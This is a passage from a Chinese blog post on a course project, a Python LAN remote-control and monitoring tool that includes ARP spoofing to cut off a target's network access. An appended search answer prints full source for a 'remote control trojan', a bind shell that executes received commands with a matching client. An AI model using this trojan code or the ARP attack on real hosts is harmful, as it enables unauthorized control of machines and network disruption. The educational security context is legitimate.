基于Python实现的主机远程控制

资源下载地址:https://download.csdn.net/download/sheziqiong/85621749
资源下载地址:https://download.csdn.net/download/sheziqiong/85621749

前言

本文为 HITwh 网络空间安全专业网络空间安全设计与实践 I 的选题之一,主要实现了远程监控局域网内的主机桌面与网络情况、简单键鼠控制、远程断网(ARP 攻击)、数据加密传输等功能。由于本文是由 Word 直接复制到 Typora 中生成的,尽管经过了简单的修改,但仍不能保证所有格式都正确,且很多图片模糊不清,暂时没有办法解决。如果有需要,请在文章末尾请我喝杯奶茶后发邮件告知我,我将把原 Word 文档以邮件形式发给您;或者您也可以直接加我的微信。

概要设计

本次设计为远程控制主机,我选择的远程主机为 windows 10 虚拟机(运行在 VMWare Workstation Pro 16 中)。系统环境为 Windows 10,使用语言为 python,版本 3.9,编程软件为 VS Code。

过滤语句构造好后,就可以开始抓包了,流程图如图 9 所示。首先设置以下按键,比如在抓包的时候将保存键设置为不可用。然后调用 sniff 函数进行抓包,每抓到一个包,就开始逐层解析。

首先是以太网帧,在这里协议类型可能有 IPv4, ARP, IPv6 等,使用 packet[Ether].type 可以获得一个 2 字节的十六进制数,这个数字对应了协议类型。比如,0x0800 表示 IPv4。可以使用一个字典类型的数据结构来保存十六进制数与对应的协议类型。然后解析 IP 层数据报,同样也可以使用 packet[IP].proto 获得一个整数,然后这个整数对应了某种协议类型,比如,4 对应了 IP。这种对应关系依然可以用字典来保存。要获取源主机 IP 和目的主机 IP,可以使用 packet[IP].src 和 packet[IP].dst 分别获得。接下来的 TCP/UDP 层报文段类似,也可以通过 packet[TCP/UDP].sport 和 packet[TCP/UDP].dport 来获取端口号。然后根据端口号来确定更具体的协议类型,如 Http(tcp port 80), Https(tcp port 443), SMTP(tcp port 25), Telnet(tcp port 23), SNMP(udp port 161)等。这些协议类型和端口号的映射关系也要用字典保存。当确定具体的协议类型、源地址、目的地址、端口、报文长度、报文内容等信息后,就可以将其显示在主界面了。

在抓包过程中,随时可以暂停,此时将会把变量 flag_pause 设置为 Ture(初始为 False),这时抓包进程仍在继续,但不会进行数据包的解析与展示。再次点击开始按键,如果 flag_pause 为 True,那么将把该变量设置为 True,抓到包后会继续解析并展示。同时,按下暂停键后,开始按键将被设置为可用,暂停键本身被设置为不可用。过程十分简单,不再展示流程图。

如果想要终止抓包进程,那么可以按下终止按键,此时将进行以下操作:调用函数 event_stop_capture.set(),即抓包进程将会阻塞;设置相应的按键是否可用,比如,这时候保存按键就可以使用了;清空数据包列表,因为所有抓到的数据包都保存在一个列表中,清空后,下次点击开始按键就会重新开始抓包。过程很简单,也不再展示流程图或伪代码。

不管是我们试图攻击目标主机,还是在目标主机遭受攻击时希望保护它,都可能需要强制中断目标主机的网络访问。该功能可以通过 ARP 攻击来实现。流程图如上页图 10 所示。首先需要知道目标主机的 IP 和网关 IP,然后使用 Scapy 库的 getmacbyip()函数和 get_if_hwaddr()函数可以分别获得目标主机的 MAC 地址和网关的 MAC 地址,然后构造 ARP 数据包:ARP(hwsrc=网关 MAC 地址, psrc=网关 IP, hwdst=目标主机 MAC 地址, pdst=目标主机 IP)。该 ARP 包的源地址为网关 IP 和网关 MAC 地址,目的地址为目标主机的 IP 和 MAC 地址。然后构造以太网帧:Ether(src=网关 MAC 地址, dst=目标主机 MAC 地址)。构造完成后,每隔一秒向目标主机发送一次,这样目标主机将无法正常进行网络访问。同样,该功能也需要开启一个新线程,通过 event_cutoff 这个线程事件来协调。

当用户想要允许目标主机的网络访问时,只需要点击恢复网络按键,这样 event_cutoff 这个事件将会被清空,相应线程将会停止发送 ARP 数据包,目标主机的网络访问也会随之恢复正常。

到此为止,远程控制主机的两个主要模块已经叙述完毕,其他的还有加密功能和错误提示功能。

为了防止远程控制模块的鼠标键盘操作被他人窃取,我将键鼠操作进行了加密。在本机的键鼠操作都是通过 socket 发往目标主机的,发送的是四个数字:左键或右键或键盘某个按键对应的整数,按键按下或释放对应的整数,横坐标,纵坐标。我将第一个整数,即左键或右键或某个键盘按键对应的整数进行了加密,加密方式为 RSA。首先使用 Python 的 RSA 模块生成密钥,包括公钥和私钥,并保存在文件中。其中,公钥放在本机,私钥需要放在目标主机。然后,每次进行键鼠操作,按键对应的整数都会被 RSA 公钥加密为一个 16bit 长的十六进制数,然后将该十六进制数和其他三个数字一同发往目标主机。目标主机接收后,将前十六位提取出来,并使用私钥解密,然后在它的屏幕上还原相应操作。流程图如图 11 所示。

测试结果

接下来我将展示远程控制主机课程设计最终实现的功能:界面展示,视频监控,远程控制,硬件资源使用信息监控,网络活动监控的开始、暂停与终止,保存截图和数据包等。

首先是程序运行后的主界面,如下图所示。

输入目标主机 IP,开始视频监控。

远程控制打开浏览器并进行键盘输入(具体已在验收时展示):

结束监控,又回到初始界面:

监控目标主机硬件资源使用信息:

监控网络活动展示(打开浏览器,只抓取 Https 协议类型的数据包):

随便点击表格的一行,显示数据包具体信息:

点击断网,使用 ARP 攻击成功中断了网络访问(在图 17 中网络正常):

恢复网络访问:

保存抓包信息和当前屏幕截图:

资源下载地址:https://download.csdn.net/download/sheziqiong/85621749
资源下载地址:https://download.csdn.net/download/sheziqiong/85621749

本系列课程为Python实战系列课程:使用微信控制电脑,使用Python的Web框架Flask搭建网页, 并使用网页控制电脑;使用wxPython编写图形化的程序,并进一步将这个程序发展为远程控制程序。 课程目录: |--|----|----1 微信远控:Python 控制电脑的两种方法 |--|----|----|----1 课程介绍.mp4 |--|----|----|----2 命令提示符 CMD 入门.mp4 |--|----|----|----3 Python 执行 CMD 命令.mp4 |--|----|----|----4 Python 调用 Win API.mp4 |--|----|----2 微信远控:让微信控制电脑 |--|----|----|----1 微信控制电脑原理.mp4 |--|----|----|----2 新浪邮箱的设定.mp4 |--|----|----|----3 Python 收发邮件.mp4 |--|----|----|----4 微信控制电脑的实现.mp4 |--|----|----|----5 沙盘化的微信远控.mp4 |--|----|----3 Flask 快速搭建网站 |--|----|----|----1 课程介绍.mp4 |--|----|----|----2 Flask 与 BootStrap 搭建网页.mp4 |--|----|----|----3 Flask 操作数据库.mp4 |--|----|----4 网页控制电脑 |--|----|----|----1 课程介绍.mp4 |--|----|----|----2 建立通信.mp4 |--|----|----|----3 轮询与推送.mp4 |--|----|----|----4 网页控制电脑.mp4 |--|----|----5 Python 图形程序入门 |--|----|----|----1 wxPython 介绍与安装.mp4 |--|----|----|----2 基本控件介绍与绝对布局.mp4 |--|----|----|----3 控件相对布局.mp4 |--|----|----|----4 多线程与事件.mp4 |--|----|----6 编写图形界面的远程控制程序 |--|----|----|----1 远程控制程序的需求分析.mp4 |--|----|----|----2 Socket 通信.mp4 |--|----|----|----3 受控端功能强化.mp4 |--|----|----|----4 远程控制软件的实现与测试.mp4 |--|----|----7 开发远程控制程序高级功能 |--|----|----|----1 高级功能概述.mp4 |--|----|----|----2 读写剪贴板.mp4 |--|----|----|----3 使用 Python 截图.mp4 |--|----|----|----4 Python 上传文件.mp4 |--|----|----|----5 结课总结.mp4
远程控制木马是一种恶意软件,它通过网络连接远程主机,并允许攻击者在目标计算机上执行各种操作和命令。根据提供的引用内容,以下是一个使用Python编写的远程控制木马的示例代码: ```python # 服务端(server)程序 import socket import os def attack(): try: s = socket.socket() s.bind(('0.0.0.0', 6667)) # 使用默认地址,所有设备均可访问该服务器的6667端口 s.listen() # 对6667端口进行监听 channel, client = s.accept() # 进入阻塞状态,accept() 返回元组,接受来自客户端的数据 # channel: 新的socket对象用于标识出服务器和哪个客户端连接进行通信 # client: 客户端的IP和端口 while True: receive = channel.recv(1024).decode() # 接收来自客户端的命令 reply = os.popen(receive).read() # 执行命令,并获取执行结果 channel.send(f"命令{receive}的运行结果:\n{reply}".encode()) # 将结果发送回客户端 except: s.close() if __name__ == '__main__': attack() # 客户端(client)程序 import socket s = socket.socket() s.connect(('192.168.137.1', 6667)) # 192.168.137.1是socket服务器的地址 while True: sendstr = input("请输入消息:") s.send(sendstr.encode()) # 将命令发送给服务器 receive = s.recv(1024).decode() # 接收服务器的回复 print(f"服务器回复:{receive}") ``` 请注意,远程控制木马是一种非法行为,严重侵犯他人隐私和安全。在进行任何网络活动时,请始终遵守法律和道德规范。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [基于Python实现socket远程木马](https://blog.csdn.net/weixin_49472648/article/details/125308268)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值